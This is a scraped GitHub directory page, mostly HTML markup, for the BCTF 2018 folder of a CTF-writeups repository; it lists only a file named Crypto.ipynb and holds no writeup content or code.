aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/nguyenduyhieukma/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":119350190,"originating_url":"https://github.com/nguyenduyhieukma/CTF-Writeups/tree/master/BCTF/2018","user_id":null}}" data-hydro-click-hmac="f01703f01b08aa7f16f5cb30f8dfc9b1bd09fa69e4ca00b5fdd1d280a1b3e6ec"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/nguyenduyhieukma/CTF-Writeups/refs" cache-key="v0:1641168611.885725" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bmd1eWVuZHV5aGlldWttYS9DVEYtV3JpdGV1cHM=" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/nguyenduyhieukma/CTF-Writeups/refs" cache-key="v0:1641168611.885725" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bmd1eWVuZHV5aGlldWttYS9DVEYtV3JpdGV1cHM=" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>BCTF</span></span><span>/</span>2018<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>BCTF</span></span><span>/</span>2018<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/nguyenduyhieukma/CTF-Writeups/tree-commit/f79e9704e8ce8ee2b9aa0e1f284a4606af9d1bbd/BCTF/2018" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/nguyenduyhieukma/CTF-Writeups/file-list/master/BCTF/2018"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Crypto.ipynb</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>